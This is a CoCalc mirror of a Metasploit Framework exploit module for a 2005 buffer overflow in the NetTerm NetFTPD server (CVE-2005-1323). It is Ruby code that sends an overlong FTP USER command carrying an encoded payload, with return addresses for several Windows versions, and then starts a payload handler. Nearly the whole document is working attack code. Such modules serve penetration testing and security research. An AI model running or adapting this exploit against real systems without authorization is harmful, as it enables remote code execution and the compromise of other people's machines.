CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/netterm_netftpd_user.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'NetTerm NetFTPD USER Buffer Overflow',
14
'Description' => %q{
15
This module exploits a vulnerability in the NetTerm NetFTPD
16
application. This package is part of the NetTerm package.
17
This module uses the USER command to trigger the overflow.
18
},
19
'Author' => [ 'hdm' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2005-1323'],
24
[ 'OSVDB', '15865'],
25
[ 'URL', 'https://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],
26
[ 'BID', '13396'],
27
],
28
'Privileged' => false,
29
'Payload' =>
30
{
31
'Space' => 1000,
32
'BadChars' => "\x00\x0a\x20\x0d",
33
'StackAdjustment' => -3500,
34
},
35
'Platform' => [ 'win' ],
36
'Targets' =>
37
[
38
[
39
'NetTerm NetFTPD Universal', # Tested OK - hdm 11/24/2005
40
{
41
'Ret' => 0x0040df98, # netftpd.exe (multiple versions)
42
},
43
],
44
[
45
'Windows 2000 English',
46
{
47
'Ret' => 0x75022ac4, # ws2help.dll
48
},
49
],
50
[
51
'Windows XP English SP0/SP1',
52
{
53
'Ret' => 0x71aa32ad, # ws2help.dll
54
},
55
],
56
[
57
'Windows 2003 English',
58
{
59
'Ret' => 0x7ffc0638, # peb magic :-)
60
},
61
],
62
[
63
'Windows NT 4.0 SP4/SP5/SP6',
64
{
65
'Ret' => 0x77681799, # ws2help.dll
66
},
67
],
68
],
69
'DisclosureDate' => '2005-04-26',
70
'DefaultTarget' => 0))
71
end
72
73
def check
74
connect
75
disconnect
76
if (banner =~ /NetTerm FTP server/)
77
return Exploit::CheckCode::Detected
78
end
79
return Exploit::CheckCode::Safe
80
end
81
82
def exploit
83
connect
84
85
print_status("Trying target #{target.name}...")
86
87
# U push ebp
88
# S push ebx
89
# E inc ebp
90
# R push edx
91
# \x20\xC0 and al, al
92
93
buf = rand_text_english(8192, payload_badchars)
94
buf[0, 1] = "\xc0"
95
buf[1, payload.encoded.length] = payload.encoded
96
buf[1014, 4] = [ target.ret ].pack('V')
97
98
send_cmd( ["USER #{buf}"] )
99
send_cmd( ['HELP'] )
100
101
handler
102
disconnect
103
end
104
end
105
106